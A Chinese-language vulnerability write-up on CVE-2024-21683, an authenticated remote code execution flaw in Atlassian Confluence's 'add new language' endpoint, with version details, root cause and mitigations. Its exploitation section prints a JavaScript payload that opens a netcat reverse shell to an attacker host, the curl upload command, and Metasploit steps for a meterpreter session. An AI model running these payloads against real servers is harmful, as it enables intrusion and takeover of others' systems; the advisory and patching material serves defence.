Atlassian Confluence "添加新语言"功能引发的认证RCE漏洞分析

本文详细分析了CVE-2024-21683漏洞,这是一个影响Atlassian Confluence数据中心和服务器的关键远程代码执行漏洞,允许认证用户通过恶意代码宏执行任意命令。

CVE-2024-21683 – 通过Atlassian Confluence"添加新语言"功能实现认证RCE

概述

CVE-2024-21683是一个关键远程代码执行(RCE)漏洞,影响自托管的Atlassian Confluence数据中心和服务器实例(版本5.2至8.9.0)。该漏洞允许具有添加代码宏语言权限的认证攻击者上传恶意脚本,导致在主机系统上执行任意代码。

CVE ID: CVE-2024-21683
严重等级: 高
CVSS评分: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
EPSS评分: 93.98%
发布日期: 2024年5月21日
受影响版本: Confluence数据中心≤8.9.0;服务器≤8.5.8 LTS / ≤7.19.21 LTS
修复版本: 数据中心≥8.9.1;服务器≥8.5.9 LTS或7.19.22 LTS

技术分析

该漏洞源于"添加新语言"功能中的输入验证不足,通过以下端点访问:

1
POST /admin/plugins/newcode/addlanguage.action

该端点期望接收JavaScript语言文件,由RhinoLanguageParser解析。然而,由于解析器在脚本中启用了Java类访问,攻击者可以注入恶意Java代码(例如java.lang.Runtime.getRuntime().exec(...))来实现RCE。

利用条件

  • 必须具有Confluence的认证访问权限,并拥有添加新宏语言的权限
  • 实例必须运行在易受攻击的版本上(≤8.9.0 DC或≤8.5.8/7.19.21 LTS服务器)
  • 能够访问Confluence Web界面的网络连接

利用步骤(手动和Metasploit)

手动PoC(通过curl)

  1. 创建exploit.js:
1
new java.lang.ProcessBuilder["(java.lang.String[])"](["bash","-c","nc attacker-ip 4444 -e /bin/sh"]).start();
  1. 发送利用代码:
1
2
3
4
curl -X POST http://target:8090/admin/plugins/newcode/addlanguage.action \
  -F "atl_token=<CSRF_TOKEN>" \
  -F "languageFile=@exploit.js;filename=exploit.js" \
  -F "newLanguageName=evil"

上传后,代码将执行并生成反向shell。PoC链接:Github

Metasploit模块

Rapid7发布了Metasploit模块exploit/multi/http/atlassian_confluence_rce_cve_2024_21683。使用流程如下:

1
2
3
4
5
6
msf > use exploit/multi/http/atlassian_confluence_rce_cve_2024_21683
msf exploit(...) > set RHOSTS 10.10.10.5
msf exploit(...) > set admin_user admin
msf exploit(...) > set admin_pass admin
msf exploit(...) > set payload cmd/linux/http/x86/meterpreter_reverse_https
msf exploit(...) > exploit

如果凭据有效且权限足够,模块将上传并执行恶意脚本,获得shell。

缓解措施

  • 将Confluence升级到修复版本:DC≥8.9.1;服务器≥8.5.9 LTS / 7.19.22 LTS
  • 限制"添加语言"权限,仅授予受信任的管理员
  • 监控日志中对/admin/plugins/newcode/addlanguage.action的API调用
  • 立即设置WAF规则:阻止对此端点的未经授权POST请求

参考链接

  • NVD Advisory
  • Github Manual POC
  • Rapid7 Metasploit Module
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计